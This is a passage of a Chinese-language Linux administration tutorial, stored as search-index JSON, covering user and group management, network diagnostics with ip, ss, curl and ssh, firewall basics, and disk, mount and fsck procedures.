set-time。",{"id":132388,"title":75156,"titles":132389,"content":132390,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-10",[74425,85442],"「改了 unit 没生效」= 忘了 systemctl daemon-reload；「改了 drop-in 还在用旧值」= systemctl cat 看合并后的真实结果，systemd 的覆盖语义是空赋值（Environment= 空值 = 清空）。 enable ≠ 启动、disable ≠ 停止。部署脚本里统一 systemctl enable --now app。 crontab 里 @reboot 执行时网络可能还没就绪，依赖外部服务要重试或用 systemd 的 After=network-online.target。 日志时间戳乱掉的第二原因：应用自己设了 UTC 而系统是本时区（nginx access log 用本地、journalctl 用本地但导出的 JSON 是 UTC）。核对一遍 date、timedatectl、应用配置三处。",{"id":132392,"title":86788,"titles":132393,"content":132394,"level":341},"\u002Ftutorials\u002Flinux#十二用户与组iduseraddusermodpasswd",[74425],"权限问题的一半其实是身份问题：服务用的是哪个用户、这个用户在不在组里、改了组为什么没生效。这一章把用户\u002F组的查询与增删命令，以及 \u002Fetc\u002Fpasswd、\u002Fetc\u002Fshadow 的字段逐个讲清。",{"id":132396,"title":86802,"titles":132397,"content":132398,"level":357},"\u002Ftutorials\u002Flinux#_1-idwhow-先看清现状",[74425,86788],"id                    # 当前用户的 uid\u002Fgid 与全部附属组：uid=1000(deploy) gid=1000(deploy) groups=1000(deploy),27(sudo)\nid deploy             # 查别人（按名或按号 id 1001）——排查服务用户最常用的第一步\nwhoami                # 只有用户名；注意 sudo whoami 会显示 root——判断当前是不是特权态\nw                     # 谁在线 + 在跑什么（含 LOGIN@ JCPU TTY FROM IDLE WHAT），比 who 信息多\nwho                   # 谁登录了：deploy  pts\u002F0  2026-10-04 08:55 (10.0.0.12)\nlast deploy           # 历史登录（读 \u002Fvar\u002Flog\u002Fwtmp），只看某人；lastb 看失败尝试（要 root）\ngetent passwd         # 查所有账户（含 LDAP\u002FSSSD\u002FNIS）——脚本里用这个而不是读文件\ngetent group sudo     # 看某个组的成员：判断「他到底在不在组里」\ngroups deploy         # 只列组名，比 id 好读\nusers                 # 一行列出在线用户名",{"id":132400,"title":86900,"titles":132401,"content":132402,"level":357},"\u002Ftutorials\u002Flinux#_2-useradd-与-adduser-增删改用户",[74425,86788],"先说清一件事：useradd 与 adduser 不是一回事。 命令 性质 行为 用在哪 useradd 底层二进制（各发行版都有） 默认不建家目录、不设密码、不交互式 脚本、Dockerfile adduser Perl 友好脚本（Debian\u002FUbuntu 独有） 交互式问全名\u002F密码，自动建家目录、拷 \u002Fetc\u002Fskel 手工建号 sudo useradd -m -s \u002Fbin\u002Fbash -G deploy,app deploy2\n# -m 建家目录、-s 给登录 shell、-G 附属组——RHEL 系手工建号只能这么写\nsudo adduser deploy                 # Debian\u002FUbuntu 交互式建号\nsudo useradd -u 1500 -e 2026-12-31 -c \"CI runner\" ci\n# -u 指定 uid（容器\u002F集群对齐必备）、-g 主组、-d 家目录路径、-e 账户过期日、-c 备注字段\nsudo userdel -r deploy              # 删用户并删家目录；不加 -r 会留下 \u002Fhome\u002Fdeploy（可能含密钥）；\n                                    # 删前先 ps -u deploy 确认没进程",{"id":132404,"title":87062,"titles":132405,"content":132406,"level":357},"\u002Ftutorials\u002Flinux#_3-usermod-加组本章最贵的一课在这",[74425,86788],"sudo usermod -aG docker deploy      # 加附属组：-a 是「追加」，必须写！\nsudo usermod -aG docker,app deploy  # 一次加多个组\nsudo usermod -L deploy              # 锁定账户（shadow 密码字段前加 !）；-U 解锁\nsudo usermod -l newname oldname     # 改名；家目录要另外 mv 并 chown\nsudo usermod -s \u002Fusr\u002Fsbin\u002Fnologin www   # 禁登录 shell——服务账户的标准做法\nsudo groupadd app                   # 建组；groupdel 删组\ngpasswd -a deploy app               # 老写法加组成员（等价 usermod -aG）；-d 移除\ngroupmems -g app -l                 # 列组成员；-a\u002F-d\u002F-p 加\u002F删\u002F清空\nnewgrp app                          # 当前会话临时切换有效组——不重新登录也能生效的补救，exit 退出 usermod -aG 的 -a 为什么这么重要：usermod -G docker deploy（少了 -a）会把 deploy 的所有附属组替换成只有 docker——原本在 sudo 组里的用户当场失去 sudo 权限，若他正是唯一的管理员就只能靠 root 密码或单用户模式救。安全写法永远带上 -a。 改完组后该用户必须重新登录（或 newgrp）才生效，因为组成员身份在登录时被写进凭证，已有会话不会更新——这是「加了组还是 permission denied」的头号原因。",{"id":132408,"title":87237,"titles":132409,"content":132410,"level":357},"\u002Ftutorials\u002Flinux#_4-passwd-与-chage-管密码",[74425,86788],"passwd deploy            # 改自己或指定用户密码（指定他人需 root）\npasswd -l deploy         # 锁定（密码前加 !）；passwd -u 解锁\npasswd -e deploy         # 让下次登录必须改密码\npasswd -d deploy         # 清空密码（配合 SSH 密钥场景，谨慎）\npasswd -S deploy         # 看状态：P 可用 \u002F L 锁定 \u002F NP 无密码 + 最近改密日期\nchage -l deploy          # 看过期详情；chage -M 90 -W 7 -I 14 设策略",{"id":132412,"title":87311,"titles":132413,"content":132414,"level":357},"\u002Ftutorials\u002Flinux#_5-etcpasswd-与-etcshadow-的字段",[74425,86788],"\u002Fetc\u002Fpasswd（getent passwd deploy 的原始内容，7 个字段用 : 分隔）： deploy:x:1000:1000:Deploy User:\u002Fhome\u002Fdeploy:\u002Fbin\u002Fbash 位置 值 含义 备注 1 deploy 用户名 登录与 chown 用 2 x 密码占位符 真正的哈希在 shadow；这里是空表示无密码 3 1000 UID 0=root，系统账户 \u003C 1000，65534=nobody 4 1000 GID（主组号） 指向 \u002Fetc\u002Fgroup 5 Deploy User GECOS 备注 全名\u002F电话，finger 读这里 6 \u002Fhome\u002Fdeploy 家目录 ~ 的来源；不存在则登录报错 7 \u002Fbin\u002Fbash 登录 shell \u002Fusr\u002Fsbin\u002Fnologin、\u002Fbin\u002Ffalse = 禁交互登录 \u002Fetc\u002Fshadow（8 个字段，只有 root 与 shadow 组可读，权限 640）： deploy:$y$j9T$abc…:20550:0:90:7:14:: 位置 值 含义 1 deploy 用户名 2 $y$j9T$… 密码哈希；前缀 $y$=yescrypt、$6$=SHA-512、$2b$=bcrypt；! 或 * 开头 = 锁定；空 = 无密码可登录 3 20550 最后一次改密距 1970-01-01 的天数（date -d \"1970-01-01 +20550 days\" 换算） 4 0 改密后至少隔多少天才允许再改（防来回改历史密码） 5 90 密码有效期天数（99999 = 永不过期） 6 7 过期前多少天开始警告 7 14 过期后多少天宽限期，之后账户锁定 8 — 账户本身失效的天数（与密码无关） \u002Fetc\u002Fgroup 的 4 个字段：组名、x 占位（组密码基本不用）、GID、成员列表（逗号分隔）。注意：这里列出的成员只是「附加组」，用户在 \u002Fetc\u002Fpasswd 里的 GID 主组不会出现在这里，所以「getent group deploy 里没有他」不代表他不属于 deploy 组。\u002Fetc\u002Fgshadow 存组管理员与组密码，字段与 shadow 类似。 相关命令：getent passwd 1000（按 uid 反查）、lastlog（每人最后登录，读 \u002Fvar\u002Flog\u002Flastlog 稀疏文件）、faillock --user deploy（pam_faillock 的失败计数，RHEL 系）。",{"id":132416,"title":75156,"titles":132417,"content":132418,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-11",[74425,86788],"新建用户忘了 -m，~ 不存在导致后续所有「写家目录」的脚本失败：useradd -m 或在 \u002Fetc\u002Fdefault\u002Fuseradd 里设 CREATE_HOME=yes。 服务账户（nginx、redis）默认 shell 是 \u002Fusr\u002Fsbin\u002Fnologin，su - nginx 必然失败；正确姿势 sudo -u nginx \u002Fbin\u002Fbash -l（root 可以覆盖 shell）。 直接编辑 \u002Fetc\u002Fpasswd 用普通 vim 有并发风险（同时 useradd 会覆盖），要改就 vipw \u002F vigr（带锁与语法检查）。 UID 不一致是集群环境的隐形故障源：NFS 共享目录 + 各节点 UID 不同 → 权限完全乱。跨节点统一 useradd -u 1500。",{"id":132420,"title":87734,"titles":132421,"content":132422,"level":341},"\u002Ftutorials\u002Flinux#十三网络ipssdigcurlssh",[74425],"网络排障的顺序基本固定：本机有没有 IP → 路由到不到 → DNS 解析对不对 → 端口有没有监听 → 防火墙让不让过 → 应用返回什么。ip、ss、dig、curl 各管一段，本章按这个顺序给命令。",{"id":132424,"title":87757,"titles":132425,"content":132426,"level":357},"\u002Ftutorials\u002Flinux#_1-ip-取代-ifconfig-与-netstat",[74425,87734],"net-tools（ifconfig、netstat、route）在新发行版里默认不装了，iproute2（ip、ss）才是当前的标准，且能显示 ifconfig 拿不到的信息（每个地址的前缀长度、路由表来源、队列规则、命名空间）。 ip a                        # 看所有接口与地址（addr 的缩写）\nip -br a                    # 一行一接口，最清爽\nip -4 addr show eth0        # 只看 IPv4、指定网卡\nip r                        # 看路由表（route 的缩写）\nip route get 8.8.8.8        # 问「去往这个地址走哪条路、用哪个网卡」——排障神器\nip l                        # 看链路状态；ip link set dev eth0 down 改状态（要 root）\nip neigh                    # ARP 表（= arp -a），排查同网段不通\nip -s link                  # 接口统计：RX errors 非 0 说明网卡\u002F驱动问题\nip route add default via 10.0.0.1    # 加默认网关——重启失效！永久配置要写 netplan\u002FNetworkManager\nip netns                    # 网络命名空间列表；ip netns exec foo ss -tulpn ip a 输出里要会看的三个东西：inet 10.0.0.12\u002F24 brd … 是 IPv4 与掩码（\u002F24 = 255.255.255.0）、state UP 或 NO-CARRIER 是链路是否插了线、scope global\u002Flink（fe80:: 是链路本地地址，不能直接当目标）。",{"id":132428,"title":87945,"titles":132429,"content":132430,"level":357},"\u002Ftutorials\u002Flinux#_2-ss-谁在监听哪个端口",[74425,87734],"ss -tulnp           # 日常万能式：TCP + UDP、监听中的、带进程名\nss -tuln            # 同上但无需 root（不显示进程列）\nss -tan state established       # 只看已建立的 TCP 连接\nss -tp state established '( dport = :443 )'   # 按端口过滤，能匹配到进程（netstat 做不到）\nss -s               # 各状态连接数汇总（一眼看 TIME_WAIT 堆积）\nss -i               # 拥塞控制、RTT 等 TCP 内部信息\nss -m               # 内存占用（内核缓冲）\nsudo ss -K dst 10.0.0.5        # 直接杀掉匹配的连接（需 root，4.9+ 内核） 字母含义：-t TCP、-u UDP、-l listening、-p 显示进程（需 root 才能看到别人的）、-n 数字不做名称解析（更快，避免 DNS 卡住）、-a 全部（含未监听）、-x Unix 套接字、-w raw、-s 统计、-i 内部信息、-e 扩展（uid\u002Finode）。 与 netstat -antp 的对照： 需求 netstat（老） ss（新） ss 的优势 列监听端口 + 进程 netstat -tulnp ss -tulnp ss 直接从内核接口读，海量连接时快几十倍 全部 TCP 连接 netstat -antp ss -tanp 支持 state 精确过滤 只看 TIME_WAIT netstat -ant | grep TIME_WAIT ss -tan state time-wait 不用 grep，不丢格式 Unix 域套接字 netstat -xlp ss -xlp 输出更完整 路由表 route -n ip r 支持策略路由显示 接口统计 netstat -i ip -s link 含丢包\u002F错误细分 ss 里 Recv-Q\u002FSend-Q 在监听端口上的含义与连接上不同：监听行上它们是已完成队列长度 \u002F backlog 上限，Recv-Q 接近 Send-Q 说明应用 accept 不过来（连接被丢弃），是「服务偶发 502\u002F超时」的关键线索。",{"id":132432,"title":88249,"titles":132433,"content":132434,"level":357},"\u002Ftutorials\u002Flinux#_3-连通性诊断pingdignc",[74425,87734],"ping -c 4 10.0.0.5          # 测 ICMP 可达与 RTT：-c 4 发 4 个包，-W 2 超时，-i 0.2 快速发\ntraceroute -n -w 2 host     # 逐跳路径：-n 不解析域名（否则慢到不能用）、-T -p 443 用 TCP 探测\ntracepath 8.8.8.8           # 无需 root 的替代，同时给出 PMTU\nmtr -rwnc 50 host           # traceroute + ping 合体：-r 报告模式、-w 宽、-c 50 发 50 包\ndig +short app.example.com  # DNS 查询首选：+short 只留答案、+trace 从根查起、+noall +answer 精简\ndig A host @1.1.1.1         # 指定 DNS 服务器对比\nnslookup app.example.com 8.8.8.8    # 简易 DNS（老工具）：输出信息少，脚本别用\nhost -t MX example.com      # 一行查 DNS；host -l example.com 测区域传送\ngetent hosts app.internal   # 走本机完整解析链（含 \u002Fetc\u002Fhosts、nsswitch）——排「dig 能解析但 curl 不行」\nnc -vz 10.0.0.5 5432        # 测端口通不通：-z 只探端口、-v 给结果（telnet 的替代，多数机器没装 telnet 了）\nnc -l 8080                  # 起临时 HTTP 靶机；nc -l 8080 > dump.bin 收文件（OpenBSD\u002FGNU 版参数不同）\nethtool -i eth0             # 网卡驱动；ethtool -s 看速率\u002F双工\u002F链路——物理层问题唯一入口 注意两点：很多机房禁 ICMP，ping 不通不代表服务挂；mtr 中间跳丢包常是路由器限速的假象，只有最后一跳持续丢才是真问题。",{"id":132436,"title":88430,"titles":132437,"content":132438,"level":357},"\u002Ftutorials\u002Flinux#_4-curl-发请求与读-http",[74425,87734],"curl -I https:\u002F\u002Fapp.example.com       # 只看响应头（HEAD），验证 301\u002F403\u002F缓存头\ncurl -sSL -o page.html https:\u002F\u002F…      # 下载标准式：-s 静默、-S 但报错仍显示、-L 跟随重定向、-o 存文件\ncurl -s -w '%{http_code}\\n' -o \u002Fdev\u002Fnull http:\u002F\u002F127.0.0.1:8080\u002Fhealthz\n                                      # 健康检查一行式：只要状态码\ncurl -X POST -H 'Content-Type: application\u002Fjson' -d '{\"a\":1}' URL   # 发 JSON；-d @body.json 从文件读\ncurl -X POST --data-urlencode 'q=中文 词' URL    # 表单编码（-d 不做编码，中文必错）\ncurl -u user:pass URL                 # Basic 认证；--netrc 用 ~\u002F.netrc\ncurl --retry 3 --retry-delay 2 --retry-connrefused -sS URL   # 重试，部署脚本必备\ncurl --connect-timeout 3 --max-time 10 URL                   # 超时控制，否则默认可以挂很久\ncurl -k URL                           # 跳过证书校验——只用于临时验证，别写进脚本；正确做法 --cacert ca.pem\ncurl -x http:\u002F\u002F10.0.0.9:8888 URL      # 走代理\ncurl -v URL 2>&1 | head -40           # 看完整握手（TLS 版本、证书、请求\u002F响应头）\ncurl --resolve app.example.com:443:10.0.0.12 https:\u002F\u002Fapp.example.com\n                                      # 本地强行指定 IP：验证负载均衡后面的某台机器\ncurl -T file URL --user u:p           # 上传（PUT）\ncurl -s 'URL?page=1' | jq .total      # 配合 jq 取字段 看耗时分布的一行格式串（可直接抄）： curl -s -o \u002Fdev\u002Fnull -w 'code=%{http_code} dns=%{time_namelookup} connect=%{time_connect} tls=%{time_appconnect} ttfb=%{time_starttransfer} total=%{time_total} size=%{size_download}\\n' https:\u002F\u002Fapp.example.com curl 的退出码有用：7 连不上、6 DNS 解析失败、28 超时、35 TLS 握手错、60 证书问题——脚本里判 $? 比看输出可靠。wget 的差异：递归下载（wget -r -np -nH -k URL）与自动断点续传（-c）更方便；单发请求与调试头信息一律 curl。aria2c -x 16 -s 16 URL 多连接下载大文件快很多，aria2c --input-file=list.txt 批量。",{"id":132440,"title":88765,"titles":132441,"content":132442,"level":357},"\u002Ftutorials\u002Flinux#_5-sshscprsync",[74425,87734],"ssh deploy@10.0.0.12                  # 登录，默认 22；ssh -v 看握手细节（排「为什么拒绝」）\nssh -p 2222 deploy@host               # 指定端口；配置里 Port 改了必须用 -p\nssh -i ~\u002F.ssh\u002Fid_ed25519_prod deploy@host   # 指定私钥；权限必须 600，否则报 UNPROTECTED PRIVATE KEY FILE\nssh -J bastion app                     # 跳板机（ProxyJump）；多级 -J bastion1,bastion2\nssh -L 5432:db.internal:5432 -fN deploy@jump\n                                       # 本地端口转发：把远端能到的内网服务映射到本机 5432，\n                                       # 之后 psql -h 127.0.0.1 -p 5432 直连；-N 不开 shell、-f 后台\nssh -R 8080:localhost:8080 deploy@jump # 远程端口转发：把本机服务暴露到跳板机（需 GatewayPorts=yes）\nssh -D 1080 deploy@jump                # SOCKS 代理：curl --socks5 127.0.0.1:1080 URL 配合用\nssh -o ServerAliveInterval=30 host     # 防中间设备断连；写进 ~\u002F.ssh\u002Fconfig 更省事\nssh-copy-id -i ~\u002F.ssh\u002Fid_ed25519.pub deploy@host   # 一键装公钥，仍需一次密码，之后免密\nscp app.tar.gz deploy@host:\u002Fsrv\u002Fapp\u002F       # 复制：注意 scp 语义像 cp；传目录要 -r；新版走 SFTP 协议\nrsync -avz --delete src\u002F host:\u002Fsrv\u002Fapp\u002F        # 增量同步\u002F备份——见下\nrsync -a --progress --partial big.iso host:\u002Fdata\u002F   # 断点续传大文件 ~\u002F.ssh\u002Fconfig 是可维护性的关键（文件权限必须 600），一份够用多年的样例： Host *\n  ServerAliveInterval 30\n  AddKeysToAgent yes\n  IdentityFile ~\u002F.ssh\u002Fid_ed25519\n\nHost prod-web\n  HostName 10.0.0.12\n  User deploy\n  IdentityFile ~\u002F.ssh\u002Fid_ed25519_prod\n  ProxyJump bastion\n\nHost db-tunnel\n  HostName bastion\n  User ops\n  LocalForward 5432 db.internal:5432 之后 ssh prod-web 一条搞定跳板与密钥。Host * 段的顺序只在第一次匹配时生效，所以具体 Host 要写在通配前面。 rsync 为什么更适合备份：只传差异（滚动校验）、可保留权限与时间戳（-a = -rlptgoD）、能删除目标多余文件（--delete 镜像语义）、可断点续传、可通过 ssh 加密传输、支持 --exclude 与 --link-dest 做硬链接式全量快照（省空间又每个快照都是完整目录）。 rsync -avz --delete --exclude='node_modules\u002F' --exclude='.git\u002F' \u002Fsrv\u002Fapp\u002F deploy@backup:\u002Fbackup\u002Fapp-$(date +%F)\u002F\nrsync -a --delete --link-dest=..\u002Fapp-2026-10-03 \u002Fsrv\u002Fapp\u002F \u002Fbackup\u002Fapp-2026-10-04\u002F --delete 务必先干跑：加 -n --delete（试运行）或 -i（显示每一项动作）。rsync 的路径语义坑：源 src\u002F（带斜杠）= 同步目录内容，源 src（无斜杠）= 在目标下建 src 目录，这一条能造成整站目录结构错位。",{"id":132444,"title":89176,"titles":132445,"content":132446,"level":357},"\u002Ftutorials\u002Flinux#_6-防火墙与-etchosts",[74425,87734],"后端 常见于 常用命令 firewalld RHEL\u002FRocky\u002FFedora sudo firewall-cmd --permanent --add-port=80\u002Ftcp → sudo firewall-cmd --reload；sudo firewall-cmd --list-all ufw Ubuntu\u002FDebian 桌面与轻量服务器 sudo ufw allow 22\u002Ftcp、sudo ufw deny 3306、sudo ufw status verbose、sudo ufw enable（开之前务必先 allow ssh） iptables \u002F nftables 手工管理或老环境 sudo iptables -L -n -v --line-numbers、sudo iptables -A INPUT -p tcp --dport 443 -j ACCEPT；sudo nft list ruleset 三条通用提醒：iptables -A 是追加到链尾（默认策略 DROP 时可能永远走不到），插入用 -I INPUT 1；规则改完不保存重启就没了（iptables-save > \u002Fetc\u002Fiptables\u002Frules.v4，或 netfilter-persistent save）；ufw\u002Ffirewalld 都在最上层，用底层命令加的规则它们看不见，别混用两套。Docker 会直接写 iptables 并在启动时插入自己的链，ufw deny 拦不住已 expose 的容器端口——这是极常见的困惑来源。 \u002Fetc\u002Fhosts 是本机静态解析，优先级在 nsswitch 里通常高于 DNS（\u002Fetc\u002Fnsswitch.conf 的 hosts: files dns）： printf '10.0.0.12  app.internal\\n' | sudo tee -a \u002Fetc\u002Fhosts 用途：临时指向某台后端验证、屏蔽域名（指 127.0.0.1）、容器里注入别名。坑：改了 hosts 但应用没生效，通常是应用做了自己的 DNS 缓存，或它走的是 dig 式直接查询；反之 hosts 会盖掉 DNS，测试完记得删。",{"id":132448,"title":75156,"titles":132449,"content":132450,"level":357},"\u002Ftutorials\u002Flinux#踩坑提醒-12",[74425,87734],"「ss 显示监听在 127.0.0.1:8080，外部怎么都连不上」——服务只绑了回环地址，改 0.0.0.0:8080（或配置里的 bind）。这一条比防火墙更常是根因。 ping 不通不代表服务不可用（ICMP 被封），要用 nc -vz 或 curl 测目标端口才算数。 排 DNS 问题按链路顺序：getent hosts X（含 hosts 文件）→ dig +short X @\u003C本机 resolv 里的服务器> → 换 @1.1.1.1 对比 → 查 \u002Fetc\u002Fresolv.conf（systemd-resolved 环境里它是指向 127.0.0.53 的软链接，直接改会被覆盖，正确改法是 \u002Fetc\u002Fsystemd\u002Fresolved.conf 的 DNS=）。 容器里 \u002Fetc\u002Fhosts 与 resolv.conf 是挂载文件，chmod\u002Fchown 会报 Device or resource busy。 mtr 中间跳的丢包率是路由器 ICMP 限速造成的假象，只看最后一跳与整体 RTT。",{"id":132452,"title":89431,"titles":132453,"content":132454,"level":341},"\u002Ftutorials\u002Flinux#十四磁盘dfdumountfsck",[74425],"No space left on device 有两种完全不同的原因（块用满 vs inode 用满），du 找不到大头时还有第三种（被删除但仍在打开的文件）。这一章把磁盘相关命令按「看容量 → 看谁占 → 看设备 → 挂载 → 修文件系统」的顺序排好。",{"id":132456,"title":89447,"titles":132457,"content":132458,"level":357},"\u002Ftutorials\u002Flinux#_1-df-看文件系统容量",[74425,89431],"df -h             # 各文件系统使用率（人读大小）\ndf -hT            # 含文件系统类型\ndf -i             # inode 使用率——磁盘满的第二种原因\ndf -h \u002Fsrv\u002Fapp    # 只看这个路径所在分区 df -h 各列：Filesystem（来源设备或 overlay）、Size（总容量，不含文件系统预留，所以比 lsblk 显示的小）、Used、Avail、Use%（注意它按 Used\u002F(Used+Avail) 算，root 预留的 5% 不计入，所以会出现「Avail 还剩 4.5G 但 Use% 已 100%」）、Mounted on。",{"id":132460,"title":89533,"titles":132461,"content":132462,"level":357},"\u002Ftutorials\u002Flinux#_2-du-看谁占了空间",[74425,89431],"du -sh \u002Fsrv\u002Fapp                                    # 单个目录总占用\ndu -h --max-depth=1 . | sort -hr | head -15        # 当前目录各子目录大小 Top 15\ndu -xh \u002F --max-depth=2 2>\u002Fdev\u002Fnull | sort -h | tail -20   # 全盘 Top 大目录（-x 不跨挂载点）\ndu -sh \u002Fvar\u002Flog\u002F* | sort -h | tail                 # 按日志类别看\nfind \u002F -xdev -type f -size +200M -printf '%s\\t%p\\n' | sort -rn | head   # 全盘 Top 大文件（第六章）\nsudo lsof +L1 | head                                # 已删除但仍被占用的空间\ndocker system df                                    # Docker 占用（docker system prune -a 清理） du 与 df 数字不一致的三个正当理由：① 有被删除但进程仍打开的文件（du 看不见，df 算满）；② 隐藏挂载点覆盖目录（du 算的是覆盖后的）；③ 文件系统预留块（df 的 Size 不含）。加 -x 避免扫进别的文件系统导致统计跑偏；--apparent-size 看表观大小（稀疏文件差异巨大）。",{"id":132464,"title":89721,"titles":132465,"content":132466,"level":357},"\u002Ftutorials\u002Flinux#_3-lsblkblkidfindmnt-看设备与挂载",[74425,89431],"lsblk -f              # 块设备树，含文件系统类型与 UUID\nlsblk -o NAME,SIZE,FSTYPE,MOUNTPOINTS    # 自选列\nsudo blkid \u002Fdev\u002Fvdb1  # 设备 UUID 与类型——写 \u002Fetc\u002Ffstab 时用 UUID 而不是设备名\nfindmnt -T \u002Fsrv\u002Fapp   # 问这个路径落在哪个挂载点、读写还是只读（ro 就是磁盘只读挂载）\nfindmnt --fstab       # 看 fstab 的解析结果\nfree -h               # 内存与 swap；available 才是可用值（第十七章）\nsudo swapon --show    # swap 分区\u002F文件；swapon \u002Fswapfile 启用、swapoff -a 关闭（容器里通常禁用）",{"id":132468,"title":89808,"titles":132469,"content":132470,"level":357},"\u002Ftutorials\u002Flinux#_4-inode-用满另一种磁盘满",[74425,89431],"症状：df -h 显示还有 30% 空间，但写文件报 No space left on device → 跑 df -i，IFuse% = 100% 就是 inode 用满。谁吃的： for d in \u002Fvar\u002Fspool\u002F* \u002Fsrv\u002Fapp\u002Ftmp; do echo -n \"$d \"; find $d -type f | wc -l; done\nfind \u002F -xdev -type f | awk -F\u002F '{print $2\"\u002F\"$3}' | sort | uniq -c | sort -rn | head\nfind \u002Fsrv\u002Fapp\u002Ftmp -type f -mtime +1 -delete    # 清完 df -i 立刻回落 通常是海量小文件（session、缓存、mail queue、监控点）。根治靠重建分区时 mkfs -T ext4 -i 4096（每 4096 字节一个 inode，默认 16384）或换 XFS\u002FBtrfs——ext4 的 inode 数量在格式化时定死，运行期不能扩；XFS 的 inode 随用随长（受 imaxpct 限制，可 xfs_growfs -m 调）。属于规划问题，需要备份重来。",{"id":132472,"title":89963,"titles":132473,"content":132474,"level":357},"\u002Ftutorials\u002Flinux#_5-分区与格式化危险区先读警告",[74425,89431],"危险边界必须先讲清：mkfs、fdisk\u002Fparted 的写操作、dd 都是不可逆的。改分区表前一定 cp \u002Fetc\u002Ffstab ~\u002F 并做完整备份；mkfs 之前用 lsblk -f 与 findmnt 双重确认目标设备名（\u002Fdev\u002Fvdb 与 \u002Fdev\u002Fvdb1 差一个数字就格式化了整块盘）。 sudo fdisk \u002Fdev\u002Fvdb     # MBR\u002F传统分区：n 新建、d 删除、p 打印、w 写入、q 弃改动\n                        # 只在 w 之前不生效；2TB 以上要用 GPT\nsudo parted -s \u002Fdev\u002Fvdb mklabel gpt                # 建 GPT 分区表\nsudo parted \u002Fdev\u002Fvdb mkpart data ext4 1MiB 100%    # 建分区——注意 parted 的 mkpart 立即写盘，\n                                                   # 没有「先看看」的机会；改完 partprobe 通知内核\nsudo mkfs.ext4 -L data -m 1 \u002Fdev\u002Fvdb1              # 建 ext4 文件系统——销毁数据！\n                                                   # -L 卷标；-m 1 把 root 预留降到 1%\nsudo mkfs.xfs -f \u002Fdev\u002Fvdb1                         # 建 XFS：-f 强制覆盖已有签名\nsudo wipefs -a \u002Fdev\u002Fvdb1                           # 清设备上的文件系统签名——重建盘前用，极其危险",{"id":132476,"title":90131,"titles":132477,"content":132478,"level":357},"\u002Ftutorials\u002Flinux#_6-mountumount-与-etcfstab",[74425,89431],"sudo mount \u002Fdev\u002Fvdb1 \u002Fdata                  # 挂载；挂载点原有内容会被「遮住」（不是丢失），卸载后回来\nsudo mount -o ro,noexec \u002Fdev\u002Fvdb1 \u002Fdata     # 只读 + 禁执行挂载\nsudo mount -o remount,rw \u002F                  # 重新挂载为读写\nsudo umount \u002Fdata                           # 卸载\nsudo umount -l \u002Fdata                        # 惰性卸载——报 target is busy 时先用\nsudo lsof +D \u002Fdata                          # lsof\u002Ffuser 找占用者，别习惯性 -l 掩盖问题\nsudo fuser -vm \u002Fdata\nsudo systemctl daemon-reload && sudo mount -a   # 改完 fstab 用 mount -a 验证：成功才说明重启不会翻车\nfindmnt --verify                            # 检查 \u002Fetc\u002Ffstab 语法——fstab 写错会导致启动进 emergency mode \u002Fetc\u002Ffstab 六个字段： UUID=2f8b…  \u002Fdata  ext4  defaults,noatime,nofail  0  2\n设备或UUID   挂载点 类型   挂载选项                dump  fsck顺序 字段 常用值 说明 1 设备 UUID=、LABEL=、\u002Fdev\u002Fvdb1 一律用 UUID：设备名会因内核探测顺序变化 2 挂载点 none、swap、\u002Fdata 目录必须已存在 3 类型 ext4、xfs、vfat、nfs、swap auto 让 mount 猜 4 选项 见下 逗号分隔，无空格 5 dump 0 备份工具用，现代基本都填 0 6 fsck 顺序 \u002F 填 1，其他本地盘 2，网络\u002Fswap 填 0 别给 NFS 填非 0，会卡启动 关键挂载选项：nofail（设备不在也继续启动，云主机加数据盘必写，否则盘被摘机就起不来）、noatime（不记录访问时间，显著降低读 IO）、nodiratime、ro\u002Frw、noexec（上传目录必备安全项）、nosuid（同上）、compress（zfs\u002Fbtrfs）、_netdev（NFS：等网络就绪再挂）、x-systemd.automount（按需挂载）。",{"id":132480,"title":90456,"titles":132481,"content":132482,"level":357},"\u002Ftutorials\u002Flinux#_7-no-space-left完整排查",[74425,89431],"步骤 命令 判断 1 df -h 块用满 → 进 2；Use% 未满 → 进 3 2 du -xh \u002F --max-depth=2 | sort -h | tail 找目录大头；日志\u002Fdocker\u002F临时文件三大来源 2b sudo lsof +L1 | sort -k7 -n | tail du 找不到大头时必查：已删除但句柄未关的文件，df 算它占用；重启对应进程即释放 3 df -i inode 满 → 海量小文件，见第 4 节 4 findmnt -T \u002F出错的路径 落在 ro 的挂载点上 → 是只读问题不是空间问题 5 dmesg | tail -30 EXT4-fs error \u002F Remounting filesystem read-only → 磁盘故障，见 fsck \u002Fvar\u002Flog 撑爆的标准处理：journalctl --vacuum-size=200M、logrotate -f \u002Fetc\u002Flogrotate.conf 强制跑一次、清 docker 日志 truncate -s 0 \u002Fvar\u002Flib\u002Fdocker\u002Fcontainers\u002F*\u002F*-json.log（治本是给 docker 配 log-opts 上限）。",{"id":132484,"title":90587,"titles":132485,"content":132486,"level":357},"\u002Ftutorials\u002Flinux#_8-fsck-为什么不能在挂载时跑",[74425,89431],"fsck 直接改文件系统元数据。分区处于读写挂载时，内核正在并发写这些结构，检查器看到的是「正在变」的磁盘，会把正常状态判为不一致并「修复」成损坏——结果是文件系统当场报废。因此： 情况 正确做法 根分区\u002F已挂载分区要检查 sudo touch \u002Fforcefsck 后重启（老式）；或 shutdown -rF；或改 fstab 第 6 字段并用 tune2fs -c 30 \u002Fdev\u002Fsda1 设次数触发；最稳是救援模式\u002F单用户模式或 Live CD 数据盘可下线 sudo umount \u002Fdata && sudo fsck -fy \u002Fdev\u002Fvdb1 && sudo mount \u002Fdata 只想「检查不修」 sudo fsck -n \u002Fdev\u002Fsda1（对挂载分区也不写，但结果不可靠，仅参考） XFS xfs_repair 同样必须卸载；XFS 只支持离线修复（xfs_check 已废弃） 看自动检查策略 tune2fs -l \u002Fdev\u002Fsda1 | grep -E 'Maximum mount count|Check interval|Last check' ext4 的 -y（自动答 yes）适合无人值守，但会「修」掉本该保留的数据；重要盘用不带 -y 的交互模式或先 e2image 做元数据镜像。fsck 跑完找回的碎片在 \u002Flost+found，文件名是 inode 号，可用 find \u002F -inum 123456 反查。",{"id":132488,"title":90707,"titles":132489,"content":132490,"level":357},"\u002Ftutorials\u002Flinux#_9-inotifywait-文件监控与那个著名的上限",[74425,89431],"inotifywait -m -r -e modify,create,delete,move --format '%w %f %e' \u002Fsrv\u002Fapp\u002Fuploads\n# -m 持续监控、-r 递归、-e 指定事件、--format 输出好解析\ninotifywatch -t 60 \u002Fdata       # 统计一段时间内的事件计数 来自 inotify-tools 包（Debian apt install inotify-tools，RHEL 在 EPEL）。监控失效\u002F程序报 